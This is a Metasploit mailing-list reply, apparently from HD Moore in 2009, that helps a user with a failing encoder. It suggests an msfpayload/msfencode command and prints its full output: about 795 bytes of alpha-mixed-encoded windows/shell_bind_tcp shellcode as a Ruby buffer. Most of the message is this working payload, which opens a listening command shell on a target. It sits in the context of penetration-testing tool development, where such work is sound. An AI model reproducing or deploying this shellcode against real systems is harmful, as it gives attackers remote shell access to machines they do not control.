Metasploit mailing list archives

Re: Encoder PexFnstenvSub


From: HD Moore <hdm () metasploit com>
Date: Mon, 23 Nov 2009 16:08:09 -0600

On Mon, 2009-11-23 at 20:03 -0200, Pedro Drimel wrote:
I don't mind about 2.7, would like to understand why this is not
working on 3.3. Please, let me know any other test I can do in order
to evaluate this. 

It still sounds like you need to figure out bad characters, however you
can try the shortcut (pure alpha)

$ msfpayload windows/shell_bind_tcp R | \
  msfencode -e x86/alpha_mixed -t ruby AllowWin32SEH=true

[*] x86/alpha_mixed succeeded with size 795 (iteration=1)
buf = 
"\x56\x54\x58\x36\x33\x30\x56\x58\x48\x34\x39\x48\x48\x48" +
"\x50\x68\x59\x41\x41\x51\x68\x5a\x59\x59\x59\x59\x41\x41" +
"\x51\x51\x44\x44\x44\x64\x33\x36\x46\x46\x46\x46\x54\x58" +
"\x56\x6a\x30\x50\x50\x54\x55\x50\x50\x61\x33\x30\x31\x30" +
"\x38\x39\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49" +
"\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41" +
"\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42" +
"\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x49\x6c\x4b" +
"\x58\x4e\x69\x45\x50\x47\x70\x45\x50\x43\x50\x4c\x49\x4a" +
"\x45\x50\x31\x48\x52\x50\x64\x4e\x6b\x42\x72\x50\x30\x4e" +
"\x6b\x51\x42\x46\x6c\x4e\x6b\x46\x32\x42\x34\x4c\x4b\x44" +
"\x32\x51\x38\x44\x4f\x48\x37\x43\x7a\x51\x36\x50\x31\x4b" +
"\x4f\x45\x61\x4f\x30\x4e\x4c\x47\x4c\x45\x31\x43\x4c\x43" +
"\x32\x46\x4c\x45\x70\x49\x51\x4a\x6f\x44\x4d\x46\x61\x4a" +
"\x67\x49\x72\x4c\x30\x43\x62\x42\x77\x4e\x6b\x43\x62\x46" +
"\x70\x4e\x6b\x43\x72\x47\x4c\x46\x61\x4e\x30\x4e\x6b\x51" +
"\x50\x43\x48\x4d\x55\x49\x50\x50\x74\x42\x6a\x43\x31\x4a" +
"\x70\x42\x70\x4c\x4b\x47\x38\x42\x38\x4c\x4b\x42\x78\x51" +
"\x30\x46\x61\x48\x53\x4d\x33\x45\x6c\x50\x49\x4c\x4b\x47" +
"\x44\x4c\x4b\x47\x71\x48\x56\x44\x71\x49\x6f\x44\x71\x4b" +
"\x70\x4e\x4c\x4a\x61\x48\x4f\x46\x6d\x43\x31\x48\x47\x50" +
"\x38\x49\x70\x42\x55\x4b\x44\x44\x43\x43\x4d\x4a\x58\x45" +
"\x6b\x51\x6d\x45\x74\x42\x55\x49\x72\x43\x68\x4e\x6b\x46" +
"\x38\x45\x74\x47\x71\x48\x53\x45\x36\x4c\x4b\x44\x4c\x50" +
"\x4b\x4c\x4b\x42\x78\x45\x4c\x43\x31\x4e\x33\x4c\x4b\x43" +
"\x34\x4e\x6b\x46\x61\x4a\x70\x4b\x39\x42\x64\x44\x64\x45" +
"\x74\x43\x6b\x43\x6b\x50\x61\x51\x49\x51\x4a\x43\x61\x49" +
"\x6f\x4b\x50\x46\x38\x51\x4f\x50\x5a\x4c\x4b\x45\x42\x48" +
"\x6b\x4f\x76\x51\x4d\x51\x78\x46\x53\x50\x32\x43\x30\x43" +
"\x30\x45\x38\x43\x47\x51\x63\x44\x72\x51\x4f\x51\x44\x51" +
"\x78\x50\x4c\x44\x37\x46\x46\x44\x47\x49\x6f\x4e\x35\x4f" +
"\x48\x4c\x50\x47\x71\x43\x30\x47\x70\x45\x79\x48\x44\x51" +
"\x44\x50\x50\x45\x38\x46\x49\x4f\x70\x50\x6b\x43\x30\x4b" +
"\x4f\x4e\x35\x42\x70\x50\x50\x50\x50\x46\x30\x51\x50\x42" +
"\x70\x47\x30\x46\x30\x45\x38\x4b\x5a\x46\x6f\x49\x4f\x49" +
"\x70\x49\x6f\x4b\x65\x4e\x69\x49\x57\x45\x61\x4b\x6b\x50" +
"\x53\x45\x38\x47\x72\x45\x50\x42\x31\x43\x6c\x4c\x49\x48" +
"\x66\x50\x6a\x44\x50\x51\x46\x43\x67\x50\x68\x4b\x72\x4b" +
"\x6b\x44\x77\x50\x67\x49\x6f\x4e\x35\x50\x53\x46\x37\x50" +
"\x68\x4e\x57\x4a\x49\x44\x78\x49\x6f\x4b\x4f\x48\x55\x42" +
"\x73\x51\x43\x50\x57\x45\x38\x44\x34\x48\x6c\x45\x6b\x48" +
"\x61\x49\x6f\x4e\x35\x42\x77\x4f\x79\x4a\x67\x50\x68\x42" +
"\x55\x42\x4e\x42\x6d\x45\x31\x49\x6f\x48\x55\x43\x58\x50" +
"\x63\x50\x6d\x50\x64\x45\x50\x4d\x59\x49\x73\x46\x37\x42" +
"\x77\x42\x77\x50\x31\x48\x76\x50\x6a\x44\x52\x43\x69\x50" +
"\x56\x4a\x42\x4b\x4d\x42\x46\x48\x47\x50\x44\x51\x34\x45" +
"\x6c\x47\x71\x45\x51\x4c\x4d\x51\x54\x46\x44\x46\x70\x4a" +
"\x66\x45\x50\x51\x54\x51\x44\x42\x70\x50\x56\x50\x56\x46" +
"\x36\x51\x56\x46\x36\x42\x6e\x43\x66\x51\x46\x46\x33\x51" +
"\x46\x51\x78\x43\x49\x4a\x6c\x47\x4f\x4c\x46\x4b\x4f\x48" +
"\x55\x4f\x79\x4d\x30\x42\x6e\x43\x66\x42\x66\x49\x6f\x46" +
"\x50\x43\x58\x43\x38\x4c\x47\x45\x4d\x45\x30\x49\x6f\x49" +
"\x45\x4d\x6b\x4b\x50\x45\x4d\x44\x6a\x44\x4a\x51\x78\x49" +
"\x36\x4d\x45\x4f\x4d\x4f\x6d\x4b\x4f\x4b\x65\x47\x4c\x46" +
"\x66\x51\x6c\x45\x5a\x4b\x30\x49\x6b\x4b\x50\x42\x55\x43" +
"\x35\x4d\x6b\x47\x37\x46\x73\x51\x62\x50\x6f\x51\x7a\x45" +
"\x50\x43\x63\x4b\x4f\x48\x55\x46\x6a\x41\x41"


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